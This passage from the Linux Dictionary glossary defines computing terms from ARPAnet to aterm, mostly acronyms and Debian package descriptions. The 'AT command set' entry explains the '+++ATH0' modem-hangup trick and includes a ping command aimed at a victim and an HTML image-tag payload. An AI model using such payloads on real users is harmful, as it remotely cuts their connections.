A wide area network (WAN), created in 1969 with funding from the Advanced Research Projects Agency (ARPA). Undergoing constant research and development in the earls to mid-1970s, ARPAnet served as the testbed for the development of TCP/IP (the protocols that make the Internet possible). A major goal of the ARPAnet project was to increase the military's command and control capability enabling communication across a variety of physically dissimilar media, including satellites. An allied goal was to create a robust network capable of withstanding outages, such as those that might result from a nuclear exchange. ARPAnet met these objectives, but it also surprised its creators: It was found in short order that most ARPAnet users preferred to use the network for communication, such as electronic mail and discussion groups. Initially, the ARPAnet was available only to government research institutes and to universities holding Department of Defense (DoD) research contracts. In 1983, ARPAnet was divided into a high-security military network (Milnet) and an ARPAnet that was recast as a research and development network. From QUECID <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

ARPANET

Advanced Research Projects Agency NETWORK (USA, network) From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

arpd

A user-space ARP daemon The ARP daemon moves the management of the ARP (Address Resolution Protocol) table from kernel to user space. It is useful for sites with LARGE network segments (256+ systems per segment), because the kernel hash tables are not optimized to handle this situation. To use the ARP daemon your kernel needs to have ARPD and NETLINK support enabled. The standard kernels of Debian GNU/Linux lack this support. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

ARPD

Association of Rehabilitation Programs in Data Processing (org., USA) From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

arping

sends IP and/or ARP pings (to the MAC address) The arping utility sends ARP and/or ICMP requests to the specified host and displays the replies. The host may be specified by its hostname, its IP address, or its MAC address. This program is only able to run as root. Make it setuid if you like. From

Linux Dictionary

Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

arpwatch

Ethernet/FDDI station activity monitor. Arpwatch maintains a database of Ethernet MAC addresses seen on the network, with their associated IP pairs. Alerts the system administrator via e-mail if any change happens, such as new station/activity, flip-flops, changed and re-used old addresses. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

ARQ

Automatic Re-transmission reQuest (MODEM) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

ascd

CD player and mixer AScd is a small CD player and mixer that can be "docked" with AfterStep and WindowMaker window managers. From Debian 3.0r0 APT
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

ascdc

AfterStep CD changer ascdc is a small CD changer. It follows the look and feel of the AfterStep window manager and is ideally suited to be run within AfterStep's Wharf module. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

ASCI

Accelerated Strategic Computing Initiative From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

ASCII

/as'kee/ n. [originally an acronym (American Standard Code for Information Interchange) but now merely conventional] The predominant character set encoding of present-day computers. The standard version uses 7 bits for each character, whereas most earlier codes (including early drafts of ASCII prior to June 1961) used fewer. This change allowed the inclusion of lowercase letters -- a major win -- but it did not provide for accented letters or any other letterforms not used in English (such as the German sharp-S or the ae-ligature which is a letter in, for example, Norwegian). It could be worse, though. It could be much worse. See EBCDIC to understand how. A history of ASCII and its ancestors is at <http://www.wps.com/texts/codes/index.html>. Computers are much pickier and less flexible about spelling than humans; thus, hackers need to be very precise when talking about characters, and have developed a considerable amount of verbal shorthand for them. Every character has one or more names -- some formal, some concise, some silly. Common jargon names for ASCII characters are collected here. See also individual entries for bang, excl, open, ques, semi, shriek, splat, twiddle, and Yu-Shiang Whole Fish. This list derives from revision 2.3 of the Usenet ASCII pronunciation guide. Single characters are listed in ASCII order; character pairs are sorted in by first member. For each character, common names are given in rough order of popularity, followed by names that are reported but rarely seen; official ANSI/CCITT names are surrounded by brokets: <>. Square brackets mark the particularly silly names introduced by INTERCAL. The abbreviations "l/r" and "o/c" stand for left/right and "open/close" respectively. Ordinary parentheticals provide some usage information. ! Common: bang; pling; excl; not; shriek; ball-bat; <exclamation mark>. Rare: factorial; exclam; smash; cuss; boing; yell; wow; hey; wham; eureka; [spark-spot]; soldier, control. " Common: double quote; quote. Rare: literal mark; double-glitch; <quotation marks>; <dieresis>; dirk; [rabbit-ears]; double prime. # Common: number sign; pound; pound sign; hash; sharp; crunch; hex; [mesh]. Rare: grid; crosshatch; octothorpe; flash; <square>, pig-pen; tictactoe; scratchmark; thud; thump; splat. \$ Common: dollar; <dollar sign>. Rare: currency symbol; buck; cash; string (from BASIC); escape (when used as the echo of ASCII ESC); ding; cache; [big money]. % Common: percent; <percent sign>; mod; grapes. Rare: [double-oh-seven]. & Common: <ampersand>; amp; amper; and, and sign. Rare: address (from C); reference (from C++); andpersand; bitand; background (from sh(1)); pretzel. [INTERCAL called this `ampersand'; what could be sillier?] ' Common: single quote; quote; <apostrophe>. Rare: prime; glitch; tick; irk; pop; [spark]; <closing single quotation mark>; <acute accent>. () Common: l/r paren; l/r parenthesis; left/right; open/close; paren/thesis; o/c paren; o/c parenthesis; l/r parenthesis; l/r banana. Rare: so/already; lparen/rparen; <opening/closing parenthesis>; o/c round bracket, l/r round bracket, [wax/wane]; parenthisey/unparenthisey; l/r ear. * Common: star; [splat]; <asterisk>. Rare: wildcard; gear; dingle; mult; spider; aster; times; twinkle; glob (see glob); Nathan Hale. + Common: <plus>; add. Rare: cross; [intersection]. , Common: <comma>. Rare: <cedilla>; [tail]. - Common: dash; <hyphen>; <minus>. Rare: [worm]; option; dak; bithorpe. Common: dot; point; <period>; <decimal point>. Rare: radix point; full stop; [spot]. / Common: slash; stroke; <slant>; forward slash. Rare: diagonal; solidus; over; slak; virgule; [slat]. : Common: <colon>. Rare: dots; [two-spot]. ; Common: <semicolon>; semi. Rare: weenie; [hybrid], pit-thwong. < > Common: <less/greater than>; bra/ket; l/r angle; l/r angle bracket; l/r broket. Rare: from/{into, towards}; read from/write to; suck/blow; comes-from/gozinta; in/out; crunch/zap (all from UNIX); tic/tac; [angle/right angle]. = Common: <equals>; gets; takes. Rare: quadrathorpe; [half-mesh]. ? Common: query; <question mark>; ques. Rare: quiz; whatmark; [what]; wildchar; huh; hook; buttonhook; hunchback. @ Common: at sign; at; strudel. Rare: each; vortex; whorl; [whirlpool]; cyclone; snail; ape; cat; rose; cabbage; <commercial at>. V Rare: [book]. [] Common: l/r square bracket; l/r bracket; <opening/closing bracket>; bracket/unbracket. Rare: square/unsquare; [U turn/U turn back]. \ Common: backslash, hack, whack; escape (from C/UNIX); reverse slash; slosh; backslant; backwhack. Rare: bash; <reverse slant>; reversed virgule; [backslat]. ^ Common: hat;

control; uparrow; caret; <circumflex>. Rare: xor sign, chevron; [shark (or shark-fin)]; to the (to the power of); fang; pointer (in Pascal). _ Common: <underline>; underscore; underbar; under. Rare: score; backarrow; skid; [flatworm]. ` Common: backquote; left quote; left single quote; open quote; <grave accent>; grave. Rare: backprime; [backspark]; unapostrophe; birk; blugle; back tick; back glitch; push; <opening single quotation mark>; quasiquote. { } Common: o/c brace; l/r brace; l/r squiggly; l/r squiggly bracket/brace; l/r curly bracket/brace; <opening/closing brace>. Rare: brace/unbrace; curly/uncurly; leftit/rytit; l/r squirrelly; [embrace/bracelet]. A balanced pair of these may be called `curlies'. | Common: bar; or; or-bar; v-bar; pipe; vertical bar. Rare: <vertical line>; gozinta; thru; pipesinta (last three from UNIX); [spike]. ~ Common: <tilde>; squiggle; twiddle; not. Rare: approx; wiggle; swung dash; enyay; [sqiggle (sic)]. The pronunciation of # as `pound' is common in the U.S. but a bad idea; Commonwealth Hackish has its own, rather more apposite use of `pound sign' (confusingly, on British keyboards the pound graphic happens to replace #; thus Britishers sometimes call # on a U.S.-ASCII keyboard `pound', compounding the American error). The U.S. usage derives from an old-fashioned commercial practice of using a # suffix to tag pound weights on bills of lading. The character is usually pronounced `hash' outside the U.S. There are more culture wars over the correct pronunciation of this character than any other, which has led to the ha ha only serious suggestion that it be pronounced `shibboleth' (see Judges 12:6 in an Old Testament or Tanakh). The `uparrow' name for circumflex and `leftarrow' name for underline are historical relics from archaic ASCII (the 1963 version), which had these graphics in those character positions rather than the modern punctuation characters. The `swung dash' or `approximation' sign is not quite the same as tilde in typeset material but the ASCII tilde serves for both (compare angle brackets). Some other common usages cause odd overlaps. The #, \$, >, and & characters, for example, are all pronounced "hex" in different communities because various assemblers use them as a prefix tag for hexadecimal constants (in particular, # in many assembler-programming cultures, \$ in the 6502 world, > at Texas Instruments, and & on the BBC Micro, Sinclair, and some Z80 machines). See also splat. The inability of ASCII text to correctly represent any of the world's other major languages makes the designers' choice of 7 bits look more and more like a serious misfeature as the use of international networks continues to increase (see software rot). Hardware and software from the U.S. still tends to embody the assumption that ASCII is the universal character set and that characters have 7 bits; this is a major irritant to people who want to use a character set suited to their own languages. Perversely, though, efforts to solve this problem by proliferating `national' character sets produce an evolutionary pressure to use a smaller subset common to all those in use. From Jargon Dictionary <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

ASCII

American Standard Code of Information Interchange From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

ascii

Prints aliases and tables for ASCII character. A programmer's utility that recognizes different ways of naming ASCII characters (hex, octal, binary, decimal, C escape, ISO character table pair, slang names, and others) and prints out all equivalent aliases. From Debian 3.0r0 APT
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

ASCII

see American Standard Code for Information Interchange (ASCII). From Redhat-9-Glossary
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

ASCII (American Standard Code for Information Interchange)

a standard code used for representing information on computer systems and networks. It uses the printing and non-printing characters that can be generated by the keyboard. Since 7 bits are available to represent each character it is possible to represent a total of 128 different characters. From Linux Guide @FirstLinux <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

ASCII (American Standard Code for Information Interchange)

This is the defacto world-wide standard for the code numbers used by computers to represent all the upper and lower-case Latin letters, numbers, punctuation, etc. There are 128 standard ASCII codes each of which can be represented by a 7 digit binary number: 0000000 through 1111111. From Matisse <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

ascii-xfr

upload/download files using the ASCII protocol From whatis <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

asclassic

X11 window manager, AfterStep Classic (forked from v1.1) AfterStep Classic is a window manager based on AfterStep v1.1 which attempts to retain and improve on AfterStep's well-tested stability and configurability. Note that this window manager makes extensive use of the color palette. If you have only an 8-bit color display, it will run as packaged, but you may want to modify the configuration to use fewer colors. AfterStep is a continuation of the BowMan window manager project, but the name was changed to reflect the desire that it do more than simply emulate and become a valuable window manager in its own right. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

asclock

A clock designed with the NeXTStep look This little application displays the time of the day (digital, either 12 or 24 hour format), and the date. It provides three alternatives: one suitable for low color systems, one with "real" NeXTStep colors, and the third one is somewhat in between. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

ascpu

This is an AfterStep look & feel CPU statistics monitor tool. ascpu is a neat 54x54 applet that displays instantaneous and average system, nice and user CPU time. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

ASCSI

Advanced Small Computer Systems Interface (SCSI) From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

ASD

Architecture Summary Design From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

asd4

Advanced Sound Daemon asd is a full featured esound-replacement. In the final version it will implement everything esound (<http://www.tux.org/~ricdude/Esound.html>) does, plus many features. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

ASDSP

Application-Specific Digital Signal Processor From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

ASE

Active Storage Element (GigaB, IP-router) From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

ASE

Aladdin Smartcard Environment (Fast, Aladdin) From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

ASE

Application Service Element (ATM) From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

ASEB

ASian EDIFACT Board (org., EDIFACT), "AS/EB" From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

ASEMH

Linux Dictionary

Army Standards Electronic Mail Host (mil., USA) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

ASF

Advanced Streaming Format (MS) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

ash

A shell is a basic system program that interprets keyboard and mouse commands. The ash shell is a clone of Berkeley's Bourne shell (sh). Ash supports all of the standard sh shell commands, but is considerably smaller than sh. The ash shell lacks some Bourne shell features (for example, command-line histories), but uses considerably less memory. You should install ash if you need a lightweight shell with many of the same capabilities as the sh shell. From Redhat 8.0 RPM
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

ASH

Almquist SHell (BSD, Unix, Shell), "ash" From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

ash

NetBSD /bin/sh "ash" is a POSIX compliant shell that is much smaller than "bash". We take advantage of that by making it the shell on the installation root floppy, where space is at a premium. It can be usefully installed as /bin/sh (because it executes scripts somewhat faster than "bash"), or as the default shell either of root or of a second user with a userid of 0 (because it depends on fewer libraries, and is therefore less likely to be affected by an upgrade problem or a disk failure). It is also useful for checking that a script uses only POSIX syntax. "bash" is a better shell for most users, since it has some nice features absent from "ash", and is a required part of the system. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

ASI

Adapter Support Interface (IBM, LAN) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

ASI

Amorphous Silicon drum (Kyocera), "aSI" From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

ASI

Aquarius Systems International (manufacturer) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

ASI

Asynchronous SCSI Interface From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

ASI

Automatic System Installation From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

ASIC

Application Specific Integrated Circuit (IC, RL) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

ASIM

Arbeitskreis Simulation und Kuenstliche Intelligenz (org., GI) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

ASIO

Audio Stream Input/Output From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

ASIS

American Society for Information Science (org.) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

asis-programs

Linux Dictionary

Ada Semantic Interface Specification (ASIS) example programs ASIS (Ada Semantic Interface Specification) lets you develop applications to walk through the sources of your Ada programs and examine the semantic constructs. This package contains four programs (asistant, display_source, gnatelim and gnatstub) which are useful to understand or optimize Ada programs. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

ASK

Akademische Software Kooperation (org., Karlsruhe, Germany) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

ASK

Amplitude Shift Keying From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

ASKSAM

Access Stored Knowledge via Symbolic Access Method (DB), "askSam" From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

ASL

ACPI Source Language (ACPI, AML) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

ASL

Adaptive Speed Levelling (US Robotics) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

ASLT

Advanced Solid Logic Technology (IC) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

ASM

Advanced Server Management (Acer) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

ASM

Association of Systems Management (org.) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

ASMA

Administratively Scoped IP Multicast (RFC 2365, Multicast) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

asmail

AfterStep mail monitor asmail is a small mail monitor similar to xbuff. It follows the AfterStep window manager's look and feel and is ideally suited to be run within AfterStep's Wharf module. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

asmem

This is an AfterStep look & feel memory utilization monitor. asmem displays memory (user/system, buffer and cache) and swap usage in a small 54x54 X window. From Debian 3.0r0 APT
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

asmix

The tool displays a volume knob. The volume knob adjusts the master volume of your sound card. Just grab the knob with the left button of your mouse and drag it around. From Debian 3.0r0 APT
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

asmixer

AfterStep audio mixer asmixer is a small audio mixer. It follows the look and feel of the AfterStep window manager and is ideally suited to be run within AfterStep's Wharf module. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

ASMO

Advanced Storage Magneto Optical [disk] (Hitachi, Maxell, Matsushita, Fujitsu, Olympus, Philips, Sanyo, Sharp, Sony, LG Electronics) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

asmodem

AfterStep modem monitor asmodem is a hack of asmail that checks a modem lock file instead of your mail. You just pass it a lock (like /var/lock/LCK..ttyS1) using the -m parameter and off it goes. For best results, use the -s and have wharf Swallow it. From Debian 3.0r0 APT
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

asmon

A system resource monitor dockapp for Afterstep and WindowMaker Asmon is a wharfable/dockable application for that displays meters detailing CPU, memory, swap, and X mem usage. Also included the exact numbers for load average, mem, swap, and X. Developed to use very little CPU time itself. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

asmounter

monitoring mount points tool asmounter monitors different mount points and facilitates the mounting/unmounting of these mount points. From Debian 3.0r0 APT
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

ASMP

ASymmetric MultiProcessing [system] From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

ASMP

ASymmetrisches MultiProzessor [system] From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

ASN1

Abstract Syntax Notation One (OSI, ISO, IS 8824), "ASN.1" From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

ASNM

AdvanceStack Network Management (HP) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

asnparser

ASN.1 to C/C++ converter This console application helps to convert your ASN.1 description files to C/C++ applications. For more information on asnparser visit the development homepage
<http://www.openh323.org/> From Debian 3.0r0 APT
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

ASP

Abstract Service Primitive (OSI) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

ASP

Active Server Pages (HTTP, MS) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

ASP

Advanced Signal Processing / Processor From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

ASP

Appletalk Session Protocol (Apple, AppleTalk) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

ASP

Application Service Provider / Providing (ISP, Internet) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

ASP

Association of Shareware Professionals (org., USA) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

ASP

Authorized Service Provider (Sun) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

asp

Discovers present ip-address of dynamically connected hosts. Asp discovers the present ip address of a host that has a dynamically assigned ip-address. This is useful when you want to connect to dynamic hosts, or to help others find you (in which case you run asp as a server). From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

ASPEC

Advanced SPectre Entropy Coding (MPEG, Digital audio) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

aspell

A more intelligent replacement for the ispell spell checker Aspell is an interactive spell checker that is designed to eventually replace ispell. It does a much better job of coming up with possible suggestions than ispell (and in some cases even Microsoft Word 97's spell checker). It also has run time support for other non English languages. aspell can learn from users misspellings. Aspell is designed to be a drop-in replacement for ispell. This package comes with a minimal man page. If you want more detailed documentation you should install the aspell-doc package and read the documentation in /usr/share/doc/aspell-doc/. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

aspell

Aspell is a spelling checker designed to eventually replace Ispell. Aspell's primary advantage (over Ispell) is greater ability to suggesting correct spellings. Aspell includes both compile-time and run-time support for non-English languages and can spellcheck (La)TeX and HTML files. From Redhat 8.0 RPM <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

aspell

GNU Aspell is a Free and Open Source spell checker designed to eventually replace Ispell. It can either be used as a library or as an independent spell checker. Its main feature is that it does a much better job of coming up with possible suggestions than just about any other spell checker out there for the English language, including Ispell and Microsoft Word. It also has many other technical enhancements over Ispell such as using shared memory for dictionaries and intelligently handling personal dictionaries when more than one Aspell process is open at once. From Mandrake 9.0 RPM <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

ASPEN

Automatic System for Performance Evaluation of the Network From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

ASPI

Advanced SCSI Programming Interface (Adaptec, API, SCSI) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

ASPIC

Advanced SCSI Programmable Interrupt Controller (PIC, SCSI) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

ASPIK

Algebraic Specifications and Implementations ??? (ISDV) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

ASPLinux

ASPLinux is a Russian distribution from a multi-national company based in Singapore. The Red Hat based ASPLinux GNU/Linux distribution, includes all components for creation of a high performance Internet/Intranet server or powerful multimedia workstation. ASP 7.3 (vostok) was released August 13, 2002. From LWN Distribution List <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

ASPP

Linux Dictionary

Application Specific Programmable Product (ASIC, ASSP, FPGA, RL) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

ASPS

Advanced Signal Processing System From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

ASR

Automatic Speech Recognition From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

asr-manpages

alt.sysadmin.recovery manual pages A set of humorous manual pages developed on alt.sysadmin.recovery (don't treat them seriously!). They document a set of really useful tools that for some strange reason are not included in any implementation of Unix. This includes such famous commands as lart, sysadmin, luser, bosskill and others. The authors recommend these man pages should be installed on every system. From Debian 3.0r0 APT
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

Assembler

A program that transforms assembly language program into machine language so the computer can execute the program. From QUECID <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

assembler

a program which converts assembly language into machine code. From Linux Guide @FirstLinux
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

ASSERT

ADEPT Subsystem for Scanning of Electronic Received Traffic (ADEPT, mil., USA) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

assign

To give a value to a variable in a programming or configuration statement. For example, in the Bourne shell statement TERM=vt100, you assign the value vt100 to the environmental variable TERM, which identifies your terminal type (VT100) to Linux. From Linux Guide @FirstLinux
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

ASSIST

Automated Special Security Information System Terminal (mil., USA) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

ASSP

Application Specific Standard Product (RL) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

ASSPA

ASsociation Suisse pour l'Automatique (org., Switzerland) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

ASSR

Agreed Set of Security Rules (mil., USA) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

AST

Atlantic Standard Time [-0400] (TZ, ADT) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

ASTA

Advanced Software Technology and Algorithms (HPCC) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

Astaro Security Linux

A firewall and VPN product based on the 2.4 Linux kernel. Available for free download but not completely open source. There are several branches. Version 3.200 (beta) was released June 4, 2002. A stable 3.217 (for i386) was released April 8, 2003. Beta version 3.391 was released January 30, 2003. The stable 2.x tree is at version 2.031, released November 15, 2002. There is also a version 2.027 for Sun Cobalt was released July 3, 2002. Stable version 4.008 was released June 12, 2003. A 'secured' distribution. From LWN Distribution List
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

asterisk

Open Source Private Branch Exchange (PBX) Asterisk is an Open Source Private Branch Exchange (PBX) and telephony development platform that can both replace a conventional PBX and act as a platform for developing custom telephony applications for delivering dynamic content over a telephone similarly to how one can deliver dynamic content through a web browser using CGI and a web server. Asterisk talks to a variety of telephony hardware including BRI, PRI, POTS, and IP telephony clients using the Inter-Asterisk eXchange protocol (e.g. gnophone or miniphone). For more information and a current list of supported hardware, see <http://www.asteriskpbx.com>. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

ASTRAL

Alliance fuer Strategic Token Ring Advancement and Leadership (manufacturer) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

astyle

Source code indenter for C++/C/Java source code Artistic Style is a reindenter and reformatter of C++, C and Java source code. From Debian 3.0r0 APT
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

ASU

Asynchron-Synchron Umsetzer From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

ASVD

Analog Simultaneous Voice and Data (MODEM) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

Asynchronous

A lack of synchronization. A method of transmitting data over a network using a start bit at the beginning of a character and a stop bit at the end. The time intervak between characters may be varying lengths. In video, a signal is asynchronous when its timing differs from that of the system reference signal. From Glossary of Distance Education and Internet Terminology
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

asynchronous

It describes a communications strategy where start and stop bits are used to indicate the beginning and end of a character. From Linux Guide @FirstLinux
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

Asynchronous Transfer Mode (ATM)

A fixed-route network protocol in which transmission packets have direct paths and destinations. ATM is an alternative to TCP/IP, which tags each packet with destination information in the header and can be routed through arbitrary paths on a carrier network such as the Internet. From Redhat-9-Glossary <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

AT

Advanced Technology (IBM, PC) From VERA

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

at

At and batch read commands from standard input or from a specified file. At allows you to specify that a command will be run at a particular time (now or a specified time in the future). Batch will execute commands when the system load levels drop to a particular level. Both commands use /bin/sh to run the commands. You should install the at package if you need a utility that will do time-oriented job control. Note: you should use crontab instead, if it is a recurring job that will need to be repeated at the same time everyday/week/etc. From Mandrake 9.0 RPM

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

at

Delayed job execution and batch processing At and batch read shell commands from standard input storing them as a job to be scheduled for execution in the future. Use at to run the job at a specified time batch to run the job when system load levels permit From Debian 3.0r0 APT

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

at

queue, examine or delete jobs for later execution From whatis

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

At

Run a command once at some future time. From Rute-Users-Guide

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

AT command set (Hayes command set)

Today's modems are controlled by the old Hayes "AT" command set. In order to dial the phone number 555-1212 using a modem, you simply send the string "ATDT555-1212" to the modem. The "D" following the "AT" means to "Dial", and the "T" means to use "Tone" dialing (rather than "P" for "Pulse" dialing). The command "ATH0" means to hang up the modem. Key point: One of the juvenile tricks people play is to cause people to hang up their own modem. Once the modem connects, it goes into a different mode where it no longer accepts AT commands. However, a user can switch back to the command mode by sending the characters "+++" to the modem. Therefore, if somebody can remotely trick your PC into sending "+++ATH0", then your modem will hang up. One way of doing this is with the ping program that sends an ICMP echo to the victim, which then replies with the same contents. E.g.: ping -p 2b2b2b415448300d victim The most popular exploits for this are spoofed ICMP pings, but it can be exploited in any number of ways. For example, one may include the following in an HTML webpage: <IMG

src="http://www.robertgraham.com/images/x.gif?+++ATH0"> From Hacking-Lexicon

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

ATA

Advanced Technology Attachment (ATA, HDD) From VERA

ATAPI

Advanced Technology Attachment Packet Interface (ATA) From VERA

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

ATAPI

AT Attachment Packet Interface – a standard that allows people to connect tape drives and CD-ROMs to Enhanced IDE controllers. From Linux Guide @FirstLinux

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

ATAPI

see Advanced Technology Attachment Packet Interface (ATAPI). From Redhat-9-Glossary
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

atari-fdisk-cross

Partition editor for Atari (running on non-Atari) Atari-fdisk allows you to create and edit the partition table of a disk partitioned in Atari format. It supports both the AHDI 5.0 and ICD variations of the Atari format. It is an interactive tool with a menu similar to PC fdisk, and also supports most options of PC fdisk. From Debian 3.0r0 APT

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

atari800

Atari emulator for svgalib/X/curses This is an Atari emulator that can use SVGALIB, X, or plain curses. It can emulate the Atari 800, 800XL, 130XE, and 5200 systems. The Atari Operating System ROMs are not available with this package, due to copyright. You'll have to either make copies of them from an old Atari computer, or see README.Debian for other ways to obtain them. From Debian 3.0r0 APT

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

aterm

